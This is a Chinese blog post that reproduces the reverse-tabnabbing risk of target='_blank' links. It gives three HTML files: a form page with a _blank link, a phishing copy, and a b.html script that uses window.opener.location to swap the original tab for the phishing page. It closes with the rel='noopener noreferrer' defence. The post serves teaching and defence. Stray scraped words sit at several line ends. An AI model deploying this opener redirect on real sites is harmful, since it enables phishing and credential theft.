前幾日,在看阮一峯老師的博客文章中,發現了這麼一篇 。標題爲 《target = "_blank" 的危險性(英文)》。這篇文章同事看過以後由於不理解其中的危險之處,念念不忘,因而這裏咱們來重現一下這個漏洞。html
首先作點準備:chrome
正式開始瀏覽器
首先在a.com下 創建1.html 寫入代碼oop
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> </head> <body> <input type="text" value="信用卡+密碼錶單"> <a href="http://b.com/b.html" target="_blank" >B站</a> </body> </html>
在代碼中,咱們創建了一個A標籤,連接到B站點,地址爲 http://b.com/b.html 打開方式爲 新標籤頁打開 也就是target="_blank"網站
將這個1.html文件複製一份到b站點的目錄中並修改代碼爲url
1 <!DOCTYPE html> 2 <html> 3 <head> 4 <meta charset="UTF-8"> 5 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 6 7 </head> 8 <body> 9 <input type="text" value="信用卡+密碼錶單+釣魚頁面"> 10 <a href="http://b.com/b.html" target="_blank" >B站</a> 11 </body> 12 </html>
注意紅色部分,這裏是爲了區分第一個頁面加的標記。準備好之後再創建一個b.html知足A標籤的目標文件。spa
代碼爲code
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script> function dosth(){ window.opener.location = "http://b.com/1.html"; alert("OK"); } </script> </head> <body> <p>B站</p> <button type="button" onclick="dosth();">js</button> </body> </html>
至此代碼準備完畢,開始重現漏洞觸發過程htm
打開Chrome ,當前版本爲blog
輸入a.com/1.html 訪問
點擊A標籤 B站 此時彈出新頁面
點擊那個說大不大說小不小的JS按鈕,執行一段神不知鬼不覺的JS
此時回去看上一個頁面 已經神不知鬼不覺的變成了一個釣魚頁面
至此,整個漏洞利用的攻擊過程結束。
那麼只要有A標籤的地方,而且使用了_blank的方式打開,那麼都會有這個被釣魚的風險。怎麼避免風險呢,
若是你是一個普通用戶,那麼在輸入敏感信息以前,必定必定必定要確認當前的url是否是正確的url,也就是防釣魚的那一套。
若是你是一個開發者,那麼請在你的網站上面,全部相似的A標籤上加入屬性 rel="noopener" 來防止這個漏洞被利用
可是這裏要值得一提的是,noopener並非全部瀏覽器都支持的,它的支持程度以下圖
無腦一點的方案就是 rel="nofollow noopener noreferrer" 這樣來阻止。
到此本文最初的目的「最簡單的實現一次這個漏洞攻擊」已經達到了,還有一些細節沒有補充,具體能夠閱讀原文
https://www.tutorialdocs.com/article/html-opener-blank.html 來了解更多詳情。